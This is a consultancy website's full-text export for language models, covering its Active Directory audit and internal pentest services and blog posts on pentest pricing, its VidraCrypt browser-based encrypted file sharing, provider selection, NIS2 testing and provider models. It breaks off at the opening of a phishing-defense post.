# VidraSec - Full Site Content for Language Models > Source: https://www.vidrasec.com/llms-full.txt > Generated: 2026-08-26 > For a structured summary see: https://www.vidrasec.com/llms.txt --- ## Active Directory Security Audit URL: https://www.vidrasec.com/services/active-directory-audit/ Description: Active Directory security audit: white-box review for misconfigurations and privilege escalation paths, your second line of defense against ransomware. An Active Directory Audit is a white-box security assessment of your on-premises Active Directory that identifies misconfigurations, dangerous permissions, and attack paths leading to domain takeover, before an attacker or ransomware can exploit them. The ransomware attacks with the biggest impact run through Active Directory: whoever takes over the domain controls every system and every file in the company. A single forgotten permission or an old misconfiguration is often all it takes. These are exactly the vulnerabilities this audit uncovers, before an attacker finds them. This audit focuses on on-premises Active Directory. Entra ID (Microsoft’s cloud identity platform) is a different system and is covered by a separate Entra ID Audit. Scope This type of test is typically performed as white-box, meaning that the testers receive full access to the tested system and its documentation. This allows a comprehensive analysis of vulnerabilities and misconfigurations in a short time frame. These are the main focus points of the test: Audit of the implementation status of the tier model and possible vulnerabilities Review of all accounts and their password age Review of the permissions of users, computers, and groups Review of group memberships of highly privileged groups Interview with administrators on how they typically administer the system If present: domain and forest trusts Test for typical vulnerabilities like “Kerberoasting” or (un)constrained delegation Why Whoever takes over Active Directory controls every system and every file in the company. That is exactly why ransomware groups target it first A single forgotten permission from an old project can be the missing link in an attack path to Domain Admin Active Directory grows over years and administrators change; only a regular review finds the misconfigurations that accumulate For a comprehensive assessment of the on-premises Active Directory, VidraSec recommends conducting this analysis in conjunction with a penetration test of the internal infrastructure. This approach offers a complete overview of your internal systems’ security posture, and booked as a single combined engagement, the two tests share scoping and setup overhead. Why VidraSec 🦦 Martin Grottenthaler, Founder and Lead Penetration Tester. OSCP, CISSP, GCFA, GWAPT. Pentesting since 2017. More about me I have multiple years of experience attacking and securing Active Directory. If I manage to get Domain Admin permissions after a few days of work, I am sure a real attacker can also do it. Thus, let me demonstrate what is wrong and how to fix it to protect yourself against attacks. Typical Duration 3-5 days (scope-dependent). Reporting takes roughly 30-50% of the test time on top. Typical Price from 8,400 € The final price depends on the scope and is calculated from the planned effort, which the offer itemizes transparently (person-days times daily rate). The offer total is the final price: if the actual effort ends up a little over or under the estimate, the price stays the same. Not sure whether this fits your environment? In a free 30-minute call you get an honest assessment. Schedule a free initial call Deliverables Every engagement includes: Written findings report with all vulnerabilities and misconfigurations, prioritized by severity, with remediation steps Management summary tailored to your audience (technical or executive) Live debriefing to walk through findings and answer questions Retesting after remediation available on request See example reports for what a VidraSec report looks like. Compliance Directly relevant for NIS2, ISO 27001, and TISAX (automotive industry). Active Directory security is a standard checkpoint in information security management audits. Frequently asked questions What is the difference between an Active Directory Audit and an internal penetration test? An Active Directory Audit is a white-box configuration review with full read access. An internal penetration test attacks Active Directory from a normal user’s perspective to see whether Domain Admin is reachable. They are complementary and are often combined for a complete picture. How long does an Active Directory Audit take? Typically 3 to 5 days of analysis depending on the size of the environment, plus roughly 30 to 50 percent of that time for reporting. Will the audit disrupt our production Active Directory? No. The audit is read-only and white-box. VidraSec reviews configuration and permissions without making changes or running disruptive attacks against your domain controllers. How much does an Active Directory Audit cost? From 8,400 euros. The final price depends on the scope and the maturity level of your environment and is calculated individually based on the required effort. How does the fixed price work? The offer itemizes the planned effort transparently (person-days times daily rate), so you see exactly how the price is calculated. The offer total is the final price: if the actual effort ends up a little over or under the estimate, the price stays the same, and you always receive the full agreed deliverables. More questions on pricing, lead times, NDAs, or compliance: see the general FAQ Related Services Internal IT Infrastructure Penetration Test Entra ID Audit Cyber Attack Simulation --- ## Internal IT Infrastructure Penetration Test URL: https://www.vidrasec.com/services/internal-it-infrastructure-penetration-test/ Description: Internal IT infrastructure penetration test: can an attacker reach Domain Admin after one wrong click? Active Directory and network. From 8,000 euros. An Internal IT Infrastructure Penetration Test simulates an attacker who already has a foothold inside your network (for example after a phishing click) and tests whether they can move laterally and reach Domain Admin. Someone on your team clicks the wrong email attachment, and an attacker is inside your network. What happens next depends on what they find there: does the attack stop at one machine, or do they move laterally and take over every system you run? This test answers that question before a real attacker does. External infrastructure is usually well secured these days. The internal network is a different story: no encryption, security mechanisms turned off (legacy software does not support them), completely outdated software. In the worst case, these vulnerabilities lead to a complete compromise of company data. Regular internal infrastructure penetration testing finds these weaknesses before an attacker does. Scope This penetration test can be tailored to focus on specific systems, such as a particular server or the configuration of Windows clients, as determined during the scoping call. Moreover, this test can assess your detection capabilities, although it’s important to note that detection is not the primary focus of a penetration test. These are the main focus points of the test: Penetration test of Active Directory, including credential attacks such as dumping local hashes (see Dumping Hashes in Windows 11 24H2) and mapping attack paths to Domain Admin with BloodHound Check whether all recommended countermeasures are in place Identification of vulnerabilities in the network Identification of outdated software in the network Misconfigurations, e.g., Active Directory Certificate Services or AD Tiering gaps Test for open file shares with confidential data And overall: can an attacker gain Domain Admin rights in your network? Looking for the external test instead? This one covers your internal network and Active Directory. To test your internet-facing systems (servers, VPNs, mail, remote access) from an attacker’s perspective outside your network, see the External IT Infrastructure Penetration Test. Why A single phishing click gives a real attacker exactly the starting position this test simulates: a normal user account inside your network Active Directory misconfigurations, legacy protocols, and weak segmentation regularly open a path from that account all the way to Domain Admin Ransomware groups automate exactly these attack paths. Closing them decides whether one infected client stays an incident or becomes a company-wide outage Your infrastructure changes constantly; only regular testing catches the misconfigurations that creep in over time Why VidraSec 🦦 Martin Grottenthaler, Founder and Lead Penetration Tester. OSCP, CISSP, GCFA, GWAPT. Pentesting since 2017. More about me I have, many times, gained Domain Admin rights, starting just as a normal user, in many different types of companies. Small or big makes no difference: there are always vulnerabilities. If I can do it, an attacker can also do it. And I hope that my explaining the vulnerabilities and how to fix them in a report is more pleasant than an attacker explaining where to send the Bitcoins. If you are comparing internal pentest services, the example reports show exactly what you get. Note: This test includes Active Directory testing from an attacker’s perspective (can I reach Domain Admin?). An Active Directory Audit is a separate, deeper white-box analysis of AD configuration. Both are complementary and often combined. Typical Duration 3 to 5 days of testing (up to 2 weeks for large environments). Reporting takes roughly 30 to 50% of the test time on top. Typical Price from 8,000 € The final price depends on the scope and is calculated from the planned effort, which the offer itemizes transparently (person-days times daily rate). The offer total is the final price: if the actual effort ends up a little over or under the estimate, the price stays the same. Not sure whether this fits your environment? In a free 30-minute call you get an honest assessment. Schedule a free initial call Deliverables Every engagement includes: Written findings report with all vulnerabilities, prioritized by severity, with remediation steps Management summary tailored to your audience (technical or executive) Live debriefing to walk through findings and answer questions Retesting after remediation available on request See example reports for what a VidraSec report looks like. Compliance Directly relevant for NIS2 (Article 21, security of network and information systems), ISO 27001, and TISAX (automotive industry). Frequently asked questions Why do I need an internal penetration test if my perimeter is secure? Perimeters are increasingly well secured, but internal networks often are not. A single wrong click can put an attacker inside, where weak segmentation, legacy software, and Active Directory misconfigurations frequently allow full compromise. The internal test measures that real-world risk. Does the internal penetration test require on-site presence? Internal pentests are generally performed on-site, but can be done remotely via VPN or a dedicated jump host if your network setup allows it. This is agreed during scoping. How long does an internal penetration test take? Typically 3 to 5 days of testing, up to 2 weeks for large environments, plus roughly 30 to 50 percent of that time for reporting. How much does an internal penetration test cost? From 8,000 euros. The final price depends on the size of the environment and is calculated individually based on the required effort. How does the fixed price work? The offer itemizes the planned effort transparently (person-days times daily rate), so you see exactly how the price is calculated. The offer total is the final price: if the actual effort ends up a little over or under the estimate, the price stays the same, and you always receive the full agreed deliverables. What company sizes is an internal penetration test suitable for? Internal infrastructure penetration testing makes sense for practically any organization that runs its own network and Active Directory, from small and mid-sized businesses to large enterprises. The effort scales with the size of the environment, so smaller networks need fewer testing days and cost less. More questions on pricing, lead times, NDAs, or compliance: see the general FAQ Related Services External IT Infrastructure Penetration Test Active Directory Audit Cyber Attack Simulation --- ## How Much Does a Penetration Test Cost? URL: https://www.vidrasec.com/blog/penetration-test-cost/ Description: What does a penetration test cost, and why? A transparent breakdown of day-rate pricing, timeboxing, and the factors that actually decide the final price. “What does a pentest cost?” is the question I get asked the most, and the honest answer is always “it depends.” That’s not a dodge. A pentest is billed by effort, not sold as a fixed product, so the real question underneath it is what decides how much effort a given project actually needs. This post explains exactly that. “It Depends” Is the Honest Answer, Not a Dodge Any provider who quotes you a fixed price before understanding your environment is not doing this seriously. A penetration test is a service, not a product off a shelf, and the price has to reflect the work a specific target actually requires. That doesn’t mean the pricing has to be vague. It means the price is derived from a small set of concrete factors, and once you know what they are, you can estimate your own ballpark before you ever get on a call. A Pentest Is a Timebox, Not a Guarantee Here’s the model: you’re buying a fixed amount of tester time, not a guarantee that every vulnerability will be found. Within that time, the tester works to uncover and demonstrate as many exploitable issues as possible, starting with the ones that matter most. This is why price and time are directly the same thing in this model. More budget doesn’t mean the same test with a markup. It means more hours actually spent looking, which means more coverage and more depth. The Actual Math: Day Rate Times Days VidraSec prices every engagement with a day rate and a planned number of testing days, multiplied out into a fixed total. That total is the number in the contract, and it’s the number on the invoice. The price quoted is the price charged, in both directions. If the work runs a little over, a few extra hours here or there, that time is absorbed rather than turned into a change order. If it becomes clear early on that a project would run substantially longer than planned, the scope gets trimmed to fit the original budget instead of the price quietly growing. You should never be surprised by the final invoice either way. What Actually Decides the Number of Days Three factors set the time budget, roughly in the order I weigh them: Security maturity of the target. This one surprises people: a company that has never had a pentest usually needs less time, not more. Testing an unmanaged environment for the first time tends to surface serious issues quickly. A mature organization that has already fixed the obvious problems needs a tester to dig much deeper to find anything that still matters, and that costs more days. Number and complexity of systems. A handful of internet-facing services scopes very differently from a sprawling application landscape with dozens of components. More surface area means more days. What you’re actually trying to learn. A broad check for anything seriously wrong needs less depth than a focused assessment of one specific, critical component. Tell me the goal, and the day count follows from it. There’s real leeway in this. If you have a fixed budget, we can shrink the scope to fit it rather than walk away from the conversation. What I won’t do is quote a day count that doesn’t match the goal you’ve described. Blackbox vs. Greybox: Same Days, More Value For a standard penetration test, the tester is not a real attacker. They’re a consultant working inside a fixed timebox. A real attacker has unlimited time and, hopefully, zero cooperation from the internal IT team. A pentester should get the opposite: credentials where appropriate, information about internal systems, a firewall rule opened when it’s blocking legitimate testing. That’s time spent on hard security problems instead of on rediscovering the URL the application already lives at. This is why, outside specific edge cases, I don’t recommend blackbox testing (no credentials, no information, straight from the internet). It sounds like the most realistic simulation of an attack, but in practice it rarely is. Almost every real intrusion starts from a compromised account or a compromised device, which is exactly the starting point of a greybox test. Greybox gets closer to a real attack and produces more usable findings for the same number of days, which is the actual definition of a good price-to-value ratio. The Penetration Testing Buyer’s Guide covers blackbox, greybox, and whitebox testing in more depth if you want the full picture. This logic is specific to a standard pentest. A cyber attack simulation or red team engagement is built on the opposite principle on purpose: the point is to test whether your team detects and responds to an attacker it doesn’t know is coming, so tipping them off with cooperation or credentials would defeat the exercise. That’s a different service with its own pricing logic, not a variation of this one. What This Actually Costs Concrete numbers, based on how VidraSec scopes real projects: A narrow scope, such as a handful of internet-facing systems, can start around €4,200. A pentest broad enough to be genuinely useful usually starts closer to €6,000, and that’s a reasonable rule of thumb for the sensible minimum. Most projects land between €6,000 and €15,000. Larger engagements, including red team simulations, can run higher. There’s no hard ceiling above that, but more days only make sense while they keep producing value. A good scoping conversation caps a project when another day stops being worth it, not when the invoice feels big enough. Get a Number, Not a Guess The fastest way to get an actual figure for your environment is a short scoping conversation, not a form that spits out a quote. If you’re evaluating providers in general, the Pentest Provider Checklist has the questions worth asking beyond price. Want an actual number for your environment? Get in touch. --- ## VidraCrypt: Zero-Knowledge File Sharing in the Browser URL: https://www.vidrasec.com/blog/vidracrypt/ Description: VidraCrypt is an open-source, browser-based tool for sharing encrypted files where the server never sees the passphrase or the cleartext. Here is how it works. During an internal infrastructure penetration test or a web application penetration test, I regularly need to send clients things they really don’t want lying around in an inbox: the final report, extracted credentials, a dump used as proof for a finding. Email and generic file sharing tools are a bad fit for that. So I built VidraCrypt (opens in a new tab), a small open-source tool that decrypts files entirely in the browser, with the server never seeing the passphrase or the plaintext. The problem with sending sensitive files Pentest deliverables are some of the most sensitive documents a client will ever receive. A report lists exactly how to break into their network. An extracted credential dump stays usable until the passwords are rotated. Sending that over plain email, or through a generic file sharing service, means trusting every mail server, spam filter, and cloud provider in between. Some clients already have PGP or S/MIME set up, which helps for the transport. But the bigger problem usually isn’t the transport at all: once a report lands in an inbox, it tends to just sit there. Forwarded across threads, synced to phones, backed up by the mail provider, still findable years later after everyone involved has forgotten it exists. A document that lists exactly how to compromise a client’s network shouldn’t turn into a permanent, forgotten attachment in their mailbox. I wanted a way to hand over a file that stays unreadable to anyone but the intended recipient, and that doesn’t leave a permanent plaintext copy sitting in an email archive by default. How VidraCrypt works VidraCrypt is a static web page plus a small encryption script. There is no backend, no database, and no account system: Encryption happens on my machine with age (opens in a new tab) in passphrase mode, using a diceware passphrase (six words, standard method). The add-to-files.sh script wraps this: it always generates a random UUID filename for the encrypted blob (so the original filename never leaks) and writes an entry to a local metadata index. Decryption happens in the client’s browser using typage (opens in a new tab), a JavaScript/WASM implementation of age. The client opens a link, types the passphrase I gave them out of band (Signal, phone call), and the decrypted file downloads directly from their own browser. The encrypted blob itself can be hosted anywhere: a Cloudflare Pages bucket, S3, GitHub Pages. VidraCrypt doesn’t care, since it’s fetched with a plain fetch() call and decrypted client-side. The URL fragment trick The link looks like this: https://your-host/app/#get= The interesting part is the #. Anything after a # in a URL is a fragment, and browsers never send the fragment to the server as part of the HTTP request. It never hits a web server access log, a CDN log, or a proxy in between. It only ever exists inside the browser. That means the URL pointing to the encrypted file, and by extension which file a given client received, never touches any server log along the way. decrypt.js reads the fragment client-side, decodes the base64url string back into the real file URL, validates it, and only then fetches the ciphertext. That validation matters: the app only accepts https:// URLs with no embedded credentials, no custom port, and a path that ends in a UUID. That closes off the obvious abuse case of turning the decrypt page into an open redirector or an SSRF proxy for arbitrary URLs. Security hardening Since the whole security model rests on “the browser can be trusted to run this JavaScript and nothing else,” the app leans hard on browser security headers: A Content-Security-Policy with default-src 'none' and script-src pinned to the exact SRI hashes of age-0.3.0.js and decrypt.js. Nothing else is allowed to load or execute. Cross-Origin-Opener-Policy and Cross-Origin-Embedder-Policy set to isolate the page from other windows. Cache-Control: no-store and Clear-Site-Data: "*" so nothing about the session lingers in the browser afterwards. require-trusted-types-for 'script' to reduce the DOM-XSS attack surface. The vendored age-0.3.0.js dependency ships with its checksum documented in the README, so anyone deploying VidraCrypt can verify it hasn’t been tampered with before serving it. One caveat is worth being upfront about: all of this assumes the server delivering the app is itself trustworthy. If someone fully compromised the host and rewrote index.html together with its Content-Security-Policy header, they could swap in their own script (and its matching SRI hash) and, for example, log the passphrase as it’s typed. That’s a fairly unlikely attack in practice, an attacker with that level of access has easier options than waiting around for a passphrase, but it’s a real limitation worth naming: the web doesn’t have proper code signing the way native apps do, where the signing key is independent of the distribution channel. Content hashes via CSP are the closest equivalent, and they protect against a third party tampering with what’s served (a compromised CDN cache, a malicious browser extension, an injected third-party script), not against the origin server itself being compromised. Using it Encrypting a file for a client: ./add-to-files.sh --target-dir "encrypted-files" --base-url "https://files.example.com/bucket" "my-report.zip" This prints the passphrase (share it over a separate channel) and a ready-made #get=... link. Upload the encrypted file to wherever the base URL points, send the client the link and the passphrase, and they can decrypt it in their browser without installing anything. There’s a live demo (opens in a new tab) with the test password 123 if you want to try the flow yourself. Limitations VidraCrypt is not meant to replace end-to-end encrypted messaging for extremely high-threat scenarios. The passphrase still has to reach the client somehow, and if that channel is compromised, so is the file. It also assumes the client’s browser and device aren’t already compromised, which is true of any browser-based crypto. Worth noting on the other side: a leaked passphrase alone isn’t enough to get the file. The encrypted blob sits behind a random UUID that isn’t guessable, so an attacker also needs the link, which travels over a separate channel from the passphrase. What VidraCrypt solves well is the day-to-day problem of getting a sensitive file to a client without leaving a plaintext copy, or the passphrase, sitting anywhere except the client’s own machine. VidraCrypt is just one of the safeguards VidraSec uses to keep pentest engagements secure end to end. Contact VidraSec if you need a penetration test. --- ## Pentest Provider Checklist for DACH SMBs URL: https://www.vidrasec.com/blog/pentest-provider-checklist-dach-smb/ Description: A practical checklist for choosing a penetration testing provider as a DACH SMB: what to ask about testers, reports, data handling, pricing, and compliance. Choosing a penetration testing provider is hard when you are not a security specialist yourself, which is the situation most SMBs are in. The market is full of confident sales pitches, and the difference between a genuinely useful test and an expensive compliance checkbox is not obvious from a brochure. This checklist gives you the specific questions to ask and what good answers sound like. How do you choose a pentest provider as an SMB? Evaluate every provider on five concrete dimensions: the people, the data handling, the deliverable, the pricing, and the scope. Most marketing focuses on logos and certifications, but the questions that actually predict outcome are about who runs your test, how your data is protected, what you receive, what it costs, and whether the scope matches your real risk. The sections below turn each dimension into questions you can ask directly. A useful tell: a strong provider will sometimes talk you out of what you asked for and toward what you need. A provider who just says yes to everything is selling, not advising. Who will actually run the test? Ask who specifically will run your test, and what their background and certifications are. The answer should be a named person with relevant, verifiable experience, not “one of our consultants.” Pentest quality is dominated by tester skill, so this is the single most predictive question you can ask. Recognized certifications such as OSCP, CISSP, GWAPT, or the GIAC family indicate a real baseline of competence. Follow up with: does the scoping call involve the tester, or only a sales contact? If the person who understands the technical work is absent from scoping, the scope is being set by someone who will not do the work, which is how engagements end up mis-scoped. Will they sign an NDA and how is your data handled? A serious provider signs a non-disclosure agreement as a matter of routine and can describe, specifically, how your data is stored, access-controlled, and deleted. Ask whether they operate under an information security management system (ideally aligned to ISO 27001 principles), where findings and reports are stored, who can access them, and when they are deleted after the engagement. You are inviting someone to find and document your weaknesses: how they protect that information is part of the service, not an afterthought. Vague or evasive answers here are a serious red flag. The details of your vulnerabilities are some of the most sensitive data your company holds. Can you see a sample report before signing? Yes, and you should always ask for one. The report is the actual product you are buying, so seeing a sample before you sign tells you exactly what you will get. A good report has an executive summary for management, a per-vulnerability technical section with description, evidence, risk rating, and reproduction steps, and concrete remediation guidance. Every finding should be manually verified. If a provider cannot or will not show you a sample, be cautious. And if the sample turns out to be lightly reformatted scanner output (pages of automated entries with generic descriptions and no manual verification), you are buying a vulnerability scan dressed up as a pentest. Is the pricing transparent and fixed? Good providers quote transparent, person-day-based pricing with a fixed total: a stated number of testing days, a daily rate, and a final price that does not move if the work runs a few hours long. Ask exactly what is included (testing, reporting, debrief, retest) and what is extra. This protects you from both surprise overruns and from quotes so vague you cannot compare providers. Treat a quote far below market as a question, not a bargain. It usually means junior testers, a scanner-driven process, or a scope quietly narrowed to fit the price. Cheap testing that misses the attack path that matters is the most expensive testing there is. Is the scope driven by your risk or by a template? The scope should come from a conversation about your actual environment and risk, not from a one-size-fits-all package. A good provider asks what you are trying to protect, what would hurt most if compromised, what compliance drivers you have, and what changed recently, then proposes a scope from that, whether that turns out to be an internal infrastructure penetration test, a web application penetration test, or something narrower. Greybox testing (with valid user credentials) is usually recommended, because it reflects the realistic attacker who phished an employee or is an insider, and it finds far more than an unauthenticated blackbox test. Be wary of a provider who proposes blackbox testing without a clear reason, or who sells you the same package they sell everyone. The Penetration Testing Buyer’s Guide covers scoping and methodology in depth. Should a DACH SMB pick a local provider? For most DACH SMBs, a regional provider has real practical advantages. You get the option of German-language reporting and debriefs, working hours that line up with yours, direct familiarity with the regulation you face (NIS2, GDPR, ISO 27001, TISAX, DORA), and data handling under EU law. These matter more for smaller companies than for large enterprises, because you have less internal capacity to translate, bridge time zones, or interpret unfamiliar compliance mappings yourself. This is not an absolute rule, but for a 50 to 500 person company that values a direct relationship and a tester who understands the local regulatory context, a DACH-based provider usually reduces friction. The checklist at a glance Area Ask Good answer People Who runs the test, and their certs? A named senior tester (OSCP, CISSP, GIAC) Scoping Is a tester on the scoping call? Yes, not just sales Data NDA and ISMS-based handling? Routine NDA, defined storage and deletion Deliverable Can I see a sample report? Yes, manually verified findings Pricing Transparent and fixed? Person-days, daily rate, fixed total Scope Risk-driven or template? Driven by your environment and risk Methodology Why this method? Greybox by default, with a reason Follow-up Is a retest available? Yes, as a defined add-on If a provider answers these clearly and challenges you where your request does not match your need, that is the provider worth working with. Where VidraSec fits VidraSec is built to pass this checklist. Every test is run personally by Martin Grottenthaler (OSCP, CISSP, GCFA, GWAPT), the scoping call is with the tester rather than a salesperson, an NDA and ISMS-based data handling are standard, example reports are published so you can see the deliverable before signing, and pricing is transparent and fixed per person-day. Scope is driven by your risk, and greybox is the default recommendation, whether the work is an external infrastructure penetration test or an Active Directory audit. The FAQ answers the common questions on price, process, and compliance. Want a provider who passes this checklist? Get in touch. --- ## What a NIS2-Ready Pentest Looks Like for a 50 to 500 Person Company URL: https://www.vidrasec.com/blog/nis2-ready-pentest-smb/ Description: What does a NIS2-ready penetration test look like for a 50 to 500 person company? Scope, evidence, frequency, and what auditors expect. NIS2 has pulled thousands of mid-sized companies into a compliance regime they never had to think about before. If you run IT at a 50 to 500 person company in the DACH region, you have probably been told you need to “do something about NIS2,” and that a penetration test is part of it. This article explains, plainly, what a NIS2-ready pentest actually looks like and what auditors expect to see. Does NIS2 require a penetration test? NIS2 does not list “penetration test” as a mandatory line item, but it effectively requires one in practice. Article 21 obliges essential and important entities to implement risk-based technical and organizational measures and, crucially, to have policies and procedures for assessing the effectiveness of those measures. A penetration test is the standard, well-understood way to demonstrate that you actively test whether your security controls work, rather than just assuming they do. So the honest answer is: NIS2 requires you to test the effectiveness of your security measures, and a penetration test is the most common and most defensible way to do that. Treat it as expected, not optional. What should be in scope for a NIS2-ready pentest? Scope should follow your risk assessment, not a generic checklist. For a typical 50 to 500 person company, a NIS2-ready scope covers four areas: the internet-facing perimeter (everything an external attacker can reach), the internal network including Active Directory or Entra ID (where a phishing victim or insider would operate), the business-critical applications, and any systems that support the essential or important service you are regulated for. If parts of that service run in Azure, AWS, or GCP, a cloud infrastructure audit covers that layer. The logic is direct. NIS2 asks you to protect the continuity of your service and the data behind it, so you test the assets whose compromise would most damage that service. A test scoped to one marketing website while your domain controllers go untested is not a NIS2-ready test, regardless of what the certificate says. How often does a NIS2-ready company need to test? At least once a year, and again after any significant change to your infrastructure or applications. NIS2 frames cybersecurity as a continuous risk-management process, not a one-time hurdle, so a single pentest filed away in a drawer does not satisfy the spirit or the practice of the directive. Networks change, new applications ship, and the attack surface shifts with them. The defensible baseline for a mid-sized company is annual testing plus retests after major changes (a new ERP rollout, a cloud migration, a merger). If your risk assessment flags a particular system as high-impact, test it more often. What does a NIS2-ready pentest report need to contain? A NIS2-ready report needs to function as audit evidence, which means it must be dated, attributable, and complete. At minimum it contains an executive summary written for management, a clear description of the methodology and scope, a per-vulnerability technical section with description, evidence, risk rating, and reproduction steps, and concrete remediation guidance for each item. This is more than a courtesy. When a supervisory authority or an ISO 27001 auditor asks how you assess the effectiveness of your controls, you hand them a dated report that shows exactly what was tested, what was found, and how serious each issue was. A scanner export with a thousand unverified entries does not serve this purpose: it shows you ran a tool, not that you tested your defenses. Is the report enough, or do you also need to fix and retest? The report is only half the evidence. NIS2 cares that you assess control effectiveness and then act on the results, so you also need to show that findings were remediated and, ideally, that a retest confirmed the fixes. A report full of unaddressed critical vulnerabilities, a year later, is worse than no report: it documents that you knew and did nothing. The clean loop an auditor wants to see is: test, report, remediate, retest, document. That cycle demonstrates an active, functioning risk-management process, which is precisely what NIS2 is asking for. How does a NIS2 pentest relate to ISO 27001, TISAX, and DORA? A single well-scoped penetration test can serve as technical security testing evidence across several frameworks at once. The same test that supports NIS2 also provides documented evidence for ISO 27001 (control A.8.8 / technical vulnerability management and testing), TISAX, and DORA Article 25 for financial entities. The frameworks differ in their paperwork and their formal certification bodies, but they share the underlying requirement: regular, documented, independent technical testing. One caveat worth knowing: DORA Article 26 TLPT (Threat-Led Penetration Testing for significant financial entities) is a separately regulated, heavier process and is not the same as a standard NIS2-oriented pentest. What does a NIS2-ready engagement look like in practice? In practice, a NIS2-ready engagement for a mid-sized company runs like this: a scoping call maps your essential systems to a test scope driven by your risk assessment, the active testing runs over several days (typically a greybox internal and external test, since that reflects realistic attacker positions), and you receive a dated report structured as audit evidence. Findings are manually verified, risk-rated, and accompanied by remediation steps. An optional retest after remediation closes the loop and gives you the documentation an auditor will ask for. For a 50 to 500 person company this is usually a multi-day engagement rather than a quick scan, and it is run by a senior tester who understands both the technical attack paths and what the framework actually demands. Where VidraSec fits VidraSec runs exactly this kind of engagement for mid-sized DACH companies. Tests are scoped to your essential systems, run personally by Martin Grottenthaler, and delivered as dated, audit-ready reports that hold up as NIS2, ISO 27001, TISAX, and DORA Article 25 evidence. VidraSec does not issue compliance certificates (that is the role of your certification or audit body), but it provides the documented technical testing those bodies require. The FAQ covers how this maps to specific frameworks, and the Penetration Testing Buyer’s Guide covers scoping in depth. Need a NIS2-ready pentest scoped to your essential systems? Get in touch. --- ## Boutique Single-Operator Pentest vs. Large Firm vs. PTaaS: How to Choose URL: https://www.vidrasec.com/blog/boutique-vs-large-firm-vs-ptaas/ Description: Boutique single-operator pentest, large firm, or PTaaS platform? A direct comparison of cost, depth, continuity, and accountability to help you choose. You need a penetration test, and the market offers three very different shapes of provider: the boutique single operator, the large security firm, and the PTaaS platform. They are priced differently, they deliver differently, and they are not interchangeable. This guide compares them on the factors that actually change the outcome. What is the difference between a boutique pentest, a large firm, and PTaaS? A boutique single-operator pentest is run end to end by one senior tester. You speak to that person before signing, they test your systems, they write the report, and they lead the debrief. A large firm offers scale and a broad service catalog, with formal processes and a recognized brand, but engagements are often staffed by mixed-seniority teams. PTaaS (Penetration Testing as a Service) is a platform model: testing is delivered on-demand or continuously through a dashboard, frequently blending automated scanning with human testers from a shared pool. Each model optimizes for something different. The boutique optimizes for depth and accountability. The large firm optimizes for scale and breadth. PTaaS optimizes for speed and continuity. Knowing which one you actually need is most of the decision. Who actually runs the test, and why does it matter? In a boutique single-operator engagement, the person who scopes the work is the person who does the work. There are no account managers, delivery teams, or junior substitutions. In a large firm, the senior consultant who impressed you during the sales call may not be the person who logs into your environment: delivery is often handed to a team of mixed experience. In PTaaS, the work is distributed across a pool of platform testers whose seniority and identity you usually cannot choose. This matters because pentesting quality is dominated by tester skill. Two testers with the same scope and the same time budget can produce wildly different results. The single most useful question you can ask any provider is simple: who, specifically, will run my test, and what is their background? Which model gives the deepest manual testing? For complex, context-heavy targets, a boutique single operator usually gives the deepest manual testing. Deep testing requires holding the whole system in one head: chaining a low-severity misconfiguration into a real attack path, recognizing that an odd response is worth an extra hour, understanding how your Active Directory tiering actually behaves under attack. A single senior tester who owns the entire engagement is structurally suited to this. PTaaS platforms lean on automation to deliver speed and coverage, which is excellent for catching known issues across a broad surface but weaker on novel attack chains. Large firms can field deep talent, but whether you get it on your specific engagement depends on who is assigned and how much of the budget goes to senior hours versus overhead. Which is the most cost-effective? For a defined scope at an SMB, the boutique model is usually the most cost-effective per unit of real risk reduction, because you pay for senior testing hours rather than sales overhead, account management, and brand premium. A large firm carries higher fixed costs that show up in the quote. PTaaS shifts the model to a subscription or credit system, which can be efficient if you test continuously but expensive if you only need one or two assessments a year. Cheaper is not the same as better value. A low quote that buys you junior testers running a scanner is more expensive than a higher quote that buys you a senior tester who finds the attack path that actually matters. Compare what you get per euro, not just the total. What about continuity and long-term relationship? A boutique single operator offers the strongest continuity: the same person tests your environment year after year, remembers last year’s findings, and can tell you whether you actually improved. Large firms rotate staff, so institutional memory of your environment lives in documents rather than in a person. PTaaS offers continuity of platform and data (your findings history lives in the dashboard) but not continuity of tester. For organizations that test the same core infrastructure annually, a tester who already knows your environment removes a large chunk of ramp-up cost and catches regressions a newcomer would miss. When should you choose a large firm anyway? Choose a large firm when you need scale or breadth that one person cannot provide: many testers working in parallel against a deadline, 24/7 incident-response capability bundled with testing, a globally recognized brand name that your procurement or board requires, or a one-stop vendor covering pentesting plus audit, GRC, and managed services. If your environment is large and complex enough that a single tester would take months, parallel teams are the right answer. When should you choose PTaaS? Choose PTaaS when you ship code frequently and want testing woven into your development cycle rather than scheduled once a year. The platform model fits product companies with mature DevOps that want on-demand assessments, a live findings dashboard, and easy retests as fixes ship. It fits less well when your priority is a deep, manual assessment of internal infrastructure or Active Directory, where the value comes from a human thinking hard about your specific environment rather than from continuous coverage. How do you decide? A quick comparison Factor Boutique single operator Large firm PTaaS platform Tester seniority Consistently senior Mixed Mixed pool Manual depth Highest Variable Lower, automation-assisted Continuity Same person yearly Rotating staff Same platform, rotating testers Scale / parallelism Limited Highest High Cost driver Senior hours Hours plus overhead Subscription / credits Best for Defined SMB scopes, deep testing Large, parallel, brand-sensitive Continuous testing for product teams Accountability Direct, one person Diffused across team Platform-mediated The honest summary: if you are a 50 to 500 person company with a defined scope and you value depth and a direct relationship, the boutique single-operator model is usually the best fit. If you need scale or a brand, go large. If you ship constantly and want continuous coverage, go PTaaS. Where VidraSec fits VidraSec is the boutique single-operator model. Every engagement is run personally by Martin Grottenthaler: the same person scopes the work, tests your systems, writes the report, and leads the debrief. That means deep manual testing, direct accountability, and continuity year over year. It is the right choice for small and mid-sized organizations that want senior testing rather than a scanner with an invoice, whether that scope is an external infrastructure penetration test or a web application penetration test. It is deliberately not the right choice if you need fifty testers next week or a household brand name for the board. If you are weighing your options, the Penetration Testing Buyer’s Guide covers scoping and methodology in more detail, and the FAQ answers the common questions on price, process, and confidentiality. Want to talk through which model fits your situation? Get in touch. --- ## Phishing Defense: Why Awareness Training Is Not Enough (And What to Do Instead) URL: https://www.vidrasec.com/blog/phishing-defense-beyond-awareness-training/ Description: Awareness training reduces phishing risk but can't eliminate it. Learn why most MFA fails against modern attacks, and which controls actually work. Security awareness training is valuable. Recognizing suspicious emails, questioning unexpected login requests, and knowing what phishing looks like: all of that makes attacks harder. But here’s the honest truth: with enough effort, anyone can be phished. I run simulated phishing campaigns for clients regularly as part of Cyber Attack Simulation engagements, and I have never failed to catch at least a few users, no matter how good their training is. Awareness reduces the attack surface. It does not eliminate it. If your entire phishing defense strategy rests on hoping employees make the right call every single time, you have a strategy built on optimism rather than security. This post covers what modern phishing attacks look like, 